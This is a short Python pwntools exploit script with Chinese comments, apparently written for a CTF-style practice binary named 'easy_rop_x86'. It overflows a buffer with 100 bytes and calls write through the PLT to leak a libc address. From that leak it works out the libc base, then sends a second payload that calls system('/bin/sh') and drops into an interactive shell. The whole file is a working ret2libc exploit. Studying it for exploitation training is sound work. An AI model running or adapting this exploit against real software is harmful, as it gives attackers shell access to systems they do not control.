#Encoding=utf-8

#导入pwntools模块
from pwn import *

#显示调试信息
context.log_level = 'debug'

#获取本地elf文件
elf = ELF('./easy_rop_x86')

#获取其对应的libc
libc =elf.libc

#获取地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#创建进程
p = process('./easy_rop_x86')

#接收程序输出
p.recv()

#构建payload
payload = 'A' * 100 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

#发送payload
p.sendline(payload)

#接收程序输出,截取前4个字节的数据
write_addr = u32(p.recv()[:4])

#计算libc的加载基址
libc_base = write_addr - libc.symbols['write']
print 'libc_base is', libc_base

#获取system的地址
sys_addr = libc_base + libc.symbols['system']
#获取/bin/sh的地址
bin_addr = libc_base + libc.search('/bin/sh').next()

#构建payload
payload = 'A' * 100+p32(sys_addr) +p32(0)+p32(bin_addr)

#发送payload
p.sendline(payload)

#切换到交互模式
p.interactive()

#关闭
p.close()